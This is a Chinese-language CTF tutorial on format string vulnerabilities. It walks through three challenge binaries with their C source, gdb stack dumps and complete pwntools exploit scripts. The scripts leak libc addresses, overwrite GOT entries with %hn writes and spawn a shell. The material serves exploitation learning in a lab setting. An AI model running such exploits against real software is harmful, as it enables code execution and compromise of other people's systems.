从五个例子来理解格式化字符串漏洞(一)

从五个例子来理解格式化字符串漏洞(一)

  • 下面五个例子的源码和相关程序文件在这里

fsb_easy

源码贴一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>

void echo() {
char buf[0x200];
memset(buf, 0, sizeof(buf));

fgets(buf, sizeof(buf), stdin);
printf(buf);
puts("\nain't it cool, bye now");
}

void getshell() {
system("/bin/sh");
}

void timeout() {
puts("Time is up");
exit(1);
}

void welcome() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);

char welcome[] =
"================================================\n"
"Welcome to the super echo-mom system, it will \n"
"echo anything you said, like:\n\n"
"Melody: I wanna a flag, mom\n"
"Mom: I wanna a flag, mom\n"
"================================================\n";
puts(welcome);

signal(SIGALRM, timeout);
alarm(5);
}

int main(int argc, char const *argv[]) {
welcome();
echo();
return 0;
}

checksec看一下:

1
2
3
4
5
6
7
root@kali:~/Desktop/release# checksec fsb_easy
[*] '/root/Desktop/release/fsb_easy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

看到NX和Canary 都开了,但发现可以改写got表,也没有开PIE

加载到IDA找到一个明显的格式化字符串漏洞,同时发现有getshell函数

运行程序尝试打印%p

可以看到我们输入的第一个参数是放在第六个参数上
注:x64的程序的参数是先放在$rdi, $rsi, $rdx, $rcx, $r8, $r9,其次再依次放到栈上

然后我们要怎样利用这个漏洞呢?主要的思想就是要把puts_got指向的地址改为getshell函数的地址,当调用puts函数的时候就会成功跳转到system地址去执行,即可getshell。

怎样改puts_got地址呢?了解过格式化字符串漏洞的同学都知道%n的威力,可以把一个任意值写到任意地址上,因此就有一个任意地址写的功能。
%n功能是将%n之前printf已经打印的字符个数赋值给传入的指针。通过%n我们就可以修改内存中的值了

其中

1
2
3
4
5
%n-->4字节
%lln-->8字节
%lx-->8字节(64位)
%hn-->2字节
%hhn-->1字节

然后我们需要用%{}c%{}$hn实现把特定的的值写到第几个参数的地址上,然后这个参数的地址已经被我们写好了的。

1
2
3
4
5
addr[0x601018] = 0x08c9
addr[0x60101a] = 0x0040
addr[0x60101c] = 0x0000
addr[0x60101e] = 0x0000
0x601018 => 0x004008c9

其中要注意的是我们的%n是把前面打印出来的所有字符数量写入地址,但是又因为其是两个字节大小(最大值为0xffff),所以如果值为0x10000等价于0x0000就是利用这一点就可以把某个特定值写到特定地址上了。

写出脚本

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(terminal = 'zsh')

p = process('fsb_easy') #,env = {'LD_PRELOAD' : ',.libc.so.6'})
#libc = ELF('libc.so.6')
elf = ELF('fsb_easy')

puts_got = elf.got["puts"]
#puts_got = 0x601018
print hex(puts_got)
#pause()
get_shell = 0x4008c9

'''
addr[0x601018] = 0x08c9
addr[0x60101a] = 0x0040
addr[0x60101c] = 0x0000
addr[0x60101e] = 0x0000
0x601018 => 0x004008c9

'''

def s_sub(a,b):
if a<b:
return 0x10000 + a - b #hn,高位会被忽略掉,意思就是说 0x10000 + a - b + b = a
return a - b

n = 6 + 8
pattern = "%{}c%{}$hn" #{}里面最大是五位数0x1000-->65536(四个字节)
#13个字符--->16 (1+5+1+1+2+1+1+1)

payload = ""
payload += pattern.format(0x8c9,n)
payload += pattern.format(s_sub(0x40,0x8c9),n+1)
payload += pattern.format(s_sub(0,0x40),n+2)
#payload += pattern.format(s_sub(0,0),n+3)
payload = payload.ljust(64,"A")

payload += p64(0x601018)
payload += p64(0x60101a)
payload += p64(0x60101c)
#payload += p64(0x60101e)

pause()

p.sendline(payload)


p.interactive()

fsb_inf

放上源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>

void echo() {
char buf[0x200];
memset(buf, 0, sizeof(buf));

fgets(buf, sizeof(buf), stdin);
printf(buf);
puts("\nain't it cool, bye now");
}

void timeout() {
puts("Time is up");
exit(1);
}

void welcome() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);

char welcome[] =
"================================================\n"
"Welcome to the super echo-mon-better system, it \n"
"will echo anything you said, like:\n\n"
"Melody: I wanna a flag, mom\n"
"Mom: I wanna a flag, mom\n"
"================================================\n";
puts(welcome);

signal(SIGALRM, timeout);
alarm(5);
}

int main(int argc, char const *argv[]) {
int i = 0;
welcome();
for (i = 0; i < 100; ++i) {
echo();
}
return 0;
}

首先checksec看下开的保护

1
2
3
4
5
6
7
8
root@kali:~/Desktop/release# checksec fsb_inf
[*] '/root/Desktop/release/fsb_inf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

其次加载到IDA查看详细程序代码,找到漏洞同样是格式化字符串漏洞:

但是与上一题不一样的地方有两个,这题没有getshell函数,但是在echo()多了一个循环,这也就意味着我们可以利用多次格式化字符串漏洞来写地址或者执行某个程序。

所以我们的漏洞利用思路就出来了,首先leak出system的地址,然后我们利用写某个函数的got表来跳转到system地址,因为这里有多次循环执行,所以我们就可以多次执行,这次布置好利用环境,下次循环的时候再send一个payload执行想要的东西。

首先分为三步:

step1

首先要泄露出system的地址,当然system的地址是在libc库里面存放的,所以我们首先想要的就是泄露libc的基地址。这里用到一个比较常用到的一个知识,从下图可以知道每个程序加载都要把main函数的地址当作一个参数存到rdi中,然后就call那个___libc_start_main,也就是说main函数执行完之后就会返回到___libc_start_main这个函数里面去。

然后我们执行程序,查看rsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gdb-peda$ x /80xg $rsp
0x7fffffffdda8: 0x0000000000400868 0x00000a4141414141
0x7fffffffddb8: 0x0000000000000000 0x0000000000000000
0x7fffffffddc8: 0x0000000000000000 0x0000000000000000
0x7fffffffddd8: 0x0000000000000000 0x0000000000000000
0x7fffffffdde8: 0x0000000000000000 0x0000000000000000
0x7fffffffddf8: 0x0000000000000000 0x0000000000000000
0x7fffffffde08: 0x0000000000000000 0x0000000000000000
0x7fffffffde18: 0x0000000000000000 0x0000000000000000
0x7fffffffde28: 0x0000000000000000 0x0000000000000000
0x7fffffffde38: 0x0000000000000000 0x0000000000000000
0x7fffffffde48: 0x0000000000000000 0x0000000000000000
0x7fffffffde58: 0x0000000000000000 0x0000000000000000
0x7fffffffde68: 0x0000000000000000 0x0000000000000000
0x7fffffffde78: 0x0000000000000000 0x0000000000000000
0x7fffffffde88: 0x0000000000000000 0x0000000000000000
0x7fffffffde98: 0x0000000000000000 0x0000000000000000
0x7fffffffdea8: 0x0000000000000000 0x0000000000000000
0x7fffffffdeb8: 0x0000000000000000 0x0000000000000000
0x7fffffffdec8: 0x0000000000000000 0x0000000000000000
0x7fffffffded8: 0x0000000000000000 0x0000000000000000
0x7fffffffdee8: 0x0000000000000000 0x0000000000000000
0x7fffffffdef8: 0x0000000000000000 0x0000000000000000
0x7fffffffdf08: 0x0000000000000000 0x0000000000000000
0x7fffffffdf18: 0x0000000000000000 0x0000000000000000
0x7fffffffdf28: 0x0000000000000000 0x0000000000000000
0x7fffffffdf38: 0x0000000000000000 0x0000000000000000
0x7fffffffdf48: 0x0000000000000000 0x0000000000000000
0x7fffffffdf58: 0x0000000000000000 0x0000000000000000
0x7fffffffdf68: 0x0000000000000000 0x0000000000000000
0x7fffffffdf78: 0x0000000000000000 0x0000000000000000
0x7fffffffdf88: 0x0000000000000000 0x0000000000000000
0x7fffffffdf98: 0x0000000000000000 0x0000000000000000
0x7fffffffdfa8: 0x0000000000000000 0x0000000000000001
0x7fffffffdfb8: 0xb419dbca1e0b7500 0x00007fffffffdff0
0x7fffffffdfc8: 0x00000000004009a2 0x00007fffffffe0d8
0x7fffffffdfd8: 0x0000000100400710 0x00007fffffffe0d0
0x7fffffffdfe8: 0x0000000000000000 0x00000000004009c0
0x7fffffffdff8: 0x00007ffff7a5c2e1 0x0000000000000000
0x7fffffffe008: 0x00007fffffffe0d8 0x0000000100000000
0x7fffffffe018: 0x000000000040096f 0x0000000000000000

在printf上下了一个断点
0x7fffffffdda800x7fffffffdfa8都是buf,然后0x7fffffffdfb8里面存放的0xb419dbca1e0b7500,因为其后俩位都是0,而Canary 这个随机生成值的特点就是后两位为0,所以其紧接着后面是echo()函数里面的rbp,再到ret(从IDA的main函数里面call echo那句指令的下一个指令的地址,因为执行完echo函数了嘛,如图),然后又可以看到这个rbp是指向0x00000000004009c0-->0x00000000004009c0也就是前一个rbp(也就是main函数的),再到ret(也就是main函数的返回地址,也就是libc库里面的地址)

插入leak对于在libc库里面的那个地址(偏移不会变,但地址会变)
因为0x7fffffffdda8是第六个地址,可以计算得到0x00007ffff7a5c2e1是第79个参数地址,然后用格式化字符串漏洞打印出来即可

1
2
3
4
5
6
7
8
9
payload = ""
payload += "%78$p.%79$p.%80$p"

p.recv()
p.sendline(payload)
p.recvuntil(".")
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)

print hex(libc_start_main_ret)

然后继续分析

1
2
3
4
5
6
7
8
9
gdb-peda$ bt
#0 __printf (format=0x7fffffffddb0 "AAAAA\n") at printf.c:28
#1 0x0000000000400868 in echo ()
#2 0x00000000004009a2 in main ()
#3 0x00007ffff7a5c2e1 in __libc_start_main (main=0x40096f <main>, argc=0x1,
argv=0x7fffffffe0d8, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7fffffffe0c8)
at ../csu/libc-start.c:291
#4 0x0000000000400739 in _start ()

从上面的栈信息可以知道先是printf的返回地址(0x400868 ),然后是执行完echo函数得到的返回地址(0x4009a2),然后执行完main函数的返回地址就是0x00007ffff7a5c2e1,也就是__libc_start_main 里面的一个地址,也就是libc里面的地址,我们xinfo看一下这个地址的信息:

1
2
3
4
5
6
7
8
gdb-peda$ xinfo 0x00007ffff7a5c2e1
0x7ffff7a5c2e1 (<__libc_start_main+241>: mov edi,eax)
Virtual memory mapping:
Start : 0x00007ffff7a3c000
End : 0x00007ffff7bcf000
Offset: 0x202e1
Perm : r-xp
Name : /lib/x86_64-linux-gnu/libc-2.24.so

可以看到这确实是libc库里面的地址,而且知道偏移量为0x202e1,这样的话,libc的基地址就出来了;然后system的地址有两个办法可以得到,一个是利用gdb直接打印其地址找到偏移量计算system地址,第二种方法是利用libc-database这类的工具根据libc的基地址找到对应的libc版本。

还有个在线的libc_search:但是可能不是很方便,但也记录一下

首先介绍第一种办法:
直接打印system地址和printf的地址(后面要改printf的got表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b480 <__libc_system>
gdb-peda$ xinfo 0x7ffff7a7b480
0x7ffff7a7b480 (<__libc_system>: test rdi,rdi)
Virtual memory mapping:
Start : 0x00007ffff7a3c000
End : 0x00007ffff7bcf000
Offset: 0x3f480
Perm : r-xp
Name : /lib/x86_64-linux-gnu/libc-2.24.so
gdb-peda$ Quit
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0x7ffff7a8b190 <__printf>
gdb-peda$ xinfo 0x7ffff7a8b190
0x7ffff7a8b190 (<__printf>: sub rsp,0xd8)
Virtual memory mapping:
Start : 0x00007ffff7a3c000
End : 0x00007ffff7bcf000
Offset: 0x4f190
Perm : r-xp
Name : /lib/x86_64-linux-gnu/libc-2.24.so

得到对应的偏移,然后计算:

1
2
3
4
5
libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
printf_addr = libc_base + 0x4f190
print hex(system_addr)
print hex(printf_addr)

介绍第二种方法:

libc-database
安装链接,其实都是用的这个
直接把下面这段代码粘贴到你想要安装的路径下的命令行窗口直接运行安装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash -ex

[ -e libc-database ] || git clone https://github.com/niklasb/libc-database

mkdir -p bin
for i in add dump find get identify
do
cat <<END > bin/libc-database-$i
cd $PWD/libc-database/
./$i "$@"
END
chmod 755 bin/libc-database-$i
done

bin/libc-database-get

安装过程可能有点久,毕竟有这么多版本的库是吧~

安装完成后我们就可以使用它来识别libc的版本了

首先可以看下其使用方法:cat README.md

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
## Building a libc offset database

Fetch all the configured libc versions and extract the symbol offsets.
It will not download anything twice, so you can also use it to update your
database:

$ ./get

You can also add a custom libc to your database.

$ ./add /usr/lib/libc-2.21.so

Find all the libc's in the database that have the given names at the given
addresses. Only the last 12 bits are checked, because randomization usually
works on page size level.

$ ./find printf 260 puts f30
archive-glibc (id libc6_2.19-10ubuntu2_i386)

Find a libc from the leaked return address into __libc_start_main.

$ ./find __libc_start_main_ret a83
ubuntu-trusty-i386-libc6 (id libc6_2.19-0ubuntu6.6_i386)
archive-eglibc (id libc6_2.19-0ubuntu6_i386)
ubuntu-utopic-i386-libc6 (id libc6_2.19-10ubuntu2.3_i386)
archive-glibc (id libc6_2.19-10ubuntu2_i386)
archive-glibc (id libc6_2.19-15ubuntu2_i386)

Dump some useful offsets, given a libc ID. You can also provide your own names
to dump.

$ ./dump libc6_2.19-0ubuntu6.6_i386
offset___libc_start_main_ret = 0x19a83
offset_system = 0x00040190
offset_dup2 = 0x000db590
offset_recv = 0x000ed2d0
offset_str_bin_sh = 0x160a24

Check whether a library is already in the database.

$ ./identify /usr/lib/libc.so.6
id local-f706181f06104ef6c7008c066290ea47aa4a82c5

./find __libc_start_main_ret 2e1
但是并没有找到,web版的search也没有找到对应版本。。。
但是一般是可以找到的

./dump 相应的libc版本就可以了

但是我这个比较特殊,因为还没有收集好大部分的libc库,所以没有办法找到对应的地址,如果大佬们有方法可以找到所有地址,还请大佬可以告诉我[期待的小眼神]。这里是少了2.24的

那我们就可以导入本地库函数:

这样就可以了。。。

有个system地址,剩下的内容就跟第一题差不多了,先写好got表,这里写printf的got表,因为puts的参数已经是一串给定的字符,没有办法更改来传参,所以直接用printf来做,下一次循环进来再直接给一个/bin/sh\x00参数运行即可getshell。

上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

p = process('fsb_inf') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
elf = ELF('fsb_inf')

def s_sub(a,b):
if a<b:
return 0x10000 + a - b
return a - b

payload = ""
payload += "%78$p.%79$p.%80$p"

p.recv()
p.sendline(payload)
p.recvuntil(".")
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)

print hex(libc_start_main_ret)

log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))

libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
printf_addr = libc_base + 0x4f190
print hex(system_addr)
print hex(printf_addr)

pause()

pattern = "%{}c%{}$hn"

n = 6 + 4
system_low = system_addr & 0xffff
system_high = (system_addr >> 16) & 0xffff
print hex(system_addr)
print hex(system_low)
print hex(system_high)
payload = ""
payload += pattern.format(system_low , n)
payload += pattern.format(s_sub(system_high ,system_low) , n+1)
payload = payload.ljust(32 , "A")

payload += p64(elf.got["printf"])
payload += p64(elf.got["printf"] + 2)

pause()

p.sendline(payload)

p.sendline("/bin/sh\x00")

p.interactive()

fsb_one

参考文章

贴上源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>

void echo() {
char buf[0x200];
memset(buf, 0, sizeof(buf));

fgets(buf, sizeof(buf), stdin);
printf(buf);
puts("\nain't it cool, bye now");
}

void timeout() {
puts("Time is up");
exit(1);
}

void welcome() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);

char welcome[] =
"================================================\n"
"Welcome to the super echo-mon-better system, it \n"
"will echo anything you said, like:\n\n"
"Melody: I wanna a flag, mom\n"
"Mom: I wanna a flag, mom\n"
"================================================\n";
puts(welcome);

signal(SIGALRM, timeout);
alarm(5);
}

int main(int argc, char const *argv[]) {
welcome();
echo();
return 0;
}

checksec 看一下开的保护:

1
2
3
4
5
6
7
root@kali:~/Desktop/release# checksec fsb_one
[*] '/root/Desktop/release/fsb_one'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

然后IDA载入分析漏洞

程序不但没有了getshell函数,同时也没有了循环,不能多次利用格式化字符串漏洞。但是我们还是可以修改got表,所以我们没有for循环,但是可以利用修改puts的got表来制造循环,从而形成可以多次利用格式化字符串漏洞。最后这道题其实就是第一题和第二题的结合版了吧。

首先我们先修改puts的got表为echo()的地址,构成循环。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo = 0x400806
n = 6 + 8
pattern = "%{}c%{}$hn" #{}里面最大是五位数0x1000-->65536(四个字节)
#13个字符--->16 (1+5+1+1+2+1+1+1)

payload = ""
payload += pattern.format(0x806,n)
payload += pattern.format(s_sub(0x40,0x806),n+1)
payload += pattern.format(s_sub(0,0x40),n+2)
payload = payload.ljust(64,"A")

payload += p64(0x601018)
payload += p64(0x60101a)
payload += p64(0x60101c)
p.sendline(payload)

效果如图:

第一步完成了,然后是第二步的构造,修改printf的got表为system的地址,但需要注意的是参数位置的选定,每次调用puts的时候call echo,栈都会往上抬一个很大的字节,也就是每次参数的偏移量都会发生改变。

找这个libc地址也是醉了,超级远(错的)

好吧,试了好多次,发现规律不是上面那个图这样找的;
找规律历程:(错的)

这个规律找的我确实心累,最后请教了大佬,发现我调试的过程错了;下面进入正题,以上请忽略。

首先我们需要明白每次call puts之后跳回echo函数重新调用,栈的高度都会变化,但需要注意的是他是往低地址增长的。

如图,这是我分别echo了3、4、5次的__libc_start_main_ret的地址和rsp地址的差值,会发现每echo多一次,__libc_start_main_ret的地址都不会发生改变,都是0x7ffc84c43ed8,而rsp的地址却是随着echo被循环调用的次数增多,他都会依次变小,计算得到,每增加一次echo,栈的rsp会往下递减68*8=544=0x220的数值。因此就可以得到每次echo,栈指针都会递减0x220;因此__libc_start_main_ret对应的参数量也要增加68个这样子。最后得到规律如下:

1
2
3
4
5
6
echo()---1---71+6个参数为__libc_start_main_ret
echo()---2---139+6个参数为__libc_start_main_ret
echo()---3---207+6个参数为__libc_start_main_ret
echo()---4---275+6个参数为__libc_start_main_ret
echo()---5---343+6个参数为__libc_start_main_ret

注:找到与rsp的偏移量之后要加上6这个参数值,rsp对应值是第六个参数
我做的时候不熟练,过程很艰辛,下面给大家调试的方法:

  1. 首先在p.sendline(payload1)的前面做一个pause()
  2. 然后运行脚本,gdb fsb_one,然后ra fsb_one,断下来之后,首先在printf下断点,注意不能直接b printf,要在IDA中找到call printf的值,这里下断点b *0x400863
  3. 然后按c继续执行,随后在脚本运行的命令框里终结pause(),回到gdb就可以开始看相关的地址,找参数进行计算偏移了
  4. 同时如果要多个echo,可以首先在gdb里面c继续执行,然后在脚本运行命令框上写你要写的东西。回车,gdb那边就停下来了,就可以看相关的参数了

栈的相关信息(这个是三次echo()之后的栈信息):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gdb-peda$ bt
#0 0x00007f93542346c0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
#1 0x00007f93541cca30 in _IO_new_file_underflow (fp=0x7f93544f08c0 <_IO_2_1_stdin_>)
at fileops.c:600
#2 0x00007f93541cdb32 in __GI__IO_default_uflow (fp=0x7f93544f08c0 <_IO_2_1_stdin_>)
at genops.c:413
#3 0x00007f93541c154a in __GI__IO_getline_info (
fp=fp@entry=0x7f93544f08c0 <_IO_2_1_stdin_>, buf=buf@entry=0x7ffd3a2b36c0 "", n=0x1ff,
delim=delim@entry=0xa, extract_delim=extract_delim@entry=0x1, eof=eof@entry=0x0)
at iogetline.c:60
#4 0x00007f93541c1658 in __GI__IO_getline (fp=fp@entry=0x7f93544f08c0 <_IO_2_1_stdin_>,
buf=buf@entry=0x7ffd3a2b36c0 "", n=<optimized out>, delim=delim@entry=0xa,
extract_delim=extract_delim@entry=0x1) at iogetline.c:34
#5 0x00007f93541c03eb in _IO_fgets (buf=0x7ffd3a2b36c0 "", n=<optimized out>,
fp=0x7f93544f08c0 <_IO_2_1_stdin_>) at iofgets.c:53
#6 0x0000000000400854 in echo ()
#7 0x0000000000400872 in echo ()
#8 0x0000000000400872 in echo ()
#9 0x0000000000400992 in main ()
#10 0x00007f93541792e1 in __libc_start_main (main=0x40096f <main>, argc=0x1,
argv=0x7ffd3a2b3e18, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7ffd3a2b3e08) at ../csu/libc-start.c:291
#11 0x0000000000400739 in _start ()

然后是一些函数偏移的地址信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
gdb-peda$ xinfo 0x00007f9ec4da32e1
0x7f9ec4da32e1 (<__libc_start_main+241>: mov edi,eax)
Virtual memory mapping:
Start : 0x00007f9ec4d83000
End : 0x00007f9ec4f16000
Offset: 0x202e1
Perm : r-xp
Name : /lib/x86_64-linux-gnu/libc-2.24.so
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7f9ec4dc2480 <__libc_system>
gdb-peda$ xinfo 0x7f9ec4dc2480
0x7f9ec4dc2480 (<__libc_system>: test rdi,rdi)
Virtual memory mapping:
Start : 0x00007f9ec4d83000
End : 0x00007f9ec4f16000
Offset: 0x3f480
Perm : r-xp
Name : /lib/x86_64-linux-gnu/libc-2.24.so
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0x7f9ec4dd2190 <__printf>
gdb-peda$ xinfo 0x7f9ec4dd2190
0x7f9ec4dd2190 (<__printf>: sub rsp,0xd8)
Virtual memory mapping:
Start : 0x00007f9ec4d83000
End : 0x00007f9ec4f16000
Offset: 0x4f190
Perm : r-xp
Name : /lib/x86_64-linux-gnu/libc-2.24.so

成功打印出__libc_start_main的地址。

上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
# coding=utf-8
from pwn import *

p = process('fsb_one') #,env = {'LD_PRELOAD' : ',.libc.so.6'})
#libc = ELF('libc.so.6')
elf = ELF('fsb_one')

puts_got = elf.got["puts"]
#puts_got = 0x601018
print hex(puts_got)
echo = 0x400806

'''
addr[0x601018] = 0x0806
addr[0x60101a] = 0x0040
addr[0x60101c] = 0x0000
addr[0x60101e] = 0x0000
0x601018 => 0x00400806

'''

def s_sub(a,b):
if a<b:
return 0x10000 + a - b #hn,高位会被忽略掉,意思就是说 0x10000 + a - b + b = a
return a - b

################payload1##################

n = 6 + 8
pattern = "%{}c%{}$hn" #{}里面最大是五位数0x1000-->65536(四个字节)
#13个字符--->16 (1+5+1+1+2+1+1+1)

payload1 = ""
payload1 += pattern.format(0x806,n)
payload1 += pattern.format(s_sub(0x40,0x806),n+1)
payload1 += pattern.format(s_sub(0,0x40),n+2)
#payload += pattern.format(s_sub(0,0),n+3)
payload1 = payload1.ljust(64,"A")

payload1 += p64(0x601018)
payload1 += p64(0x60101a)
payload1 += p64(0x60101c)
#payload += p64(0x60101e)

#pause()

p.sendline(payload1)

################payload2##################

payload2 = ""
payload2 += "%144$p.%145$p.%146$p"

pause()

p.sendline(payload2)
p.recvuntil(".")
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
#print hex(libc_start_main_ret)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))

libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
printf_addr = libc_base + 0x4f190
log.info("system_addr addr: " + hex(system_addr))
log.info("printf_addr addr: " + hex(printf_addr))
print hex(elf.got["printf"])

################payload3##################

pattern = "%{}c%{}$hn"
n = 6 + 4
system_low = system_addr & 0xffff
system_high = (system_addr >> 16) & 0xffff


log.info("system_low addr: " + hex(system_low))
log.info("system_high addr: " + hex(system_high))

payload3 = ""
payload3 += pattern.format(system_low , n)
payload3 += pattern.format(s_sub(system_high ,system_low) , n+1)
payload3 = payload3.ljust(32 , "B")

payload3 += p64(elf.got["printf"])
payload3 += p64(elf.got["printf"] + 2)

pause()

p.sendline(payload3)

################getshell##################

p.sendline("/bin/sh\x00")

p.interactive()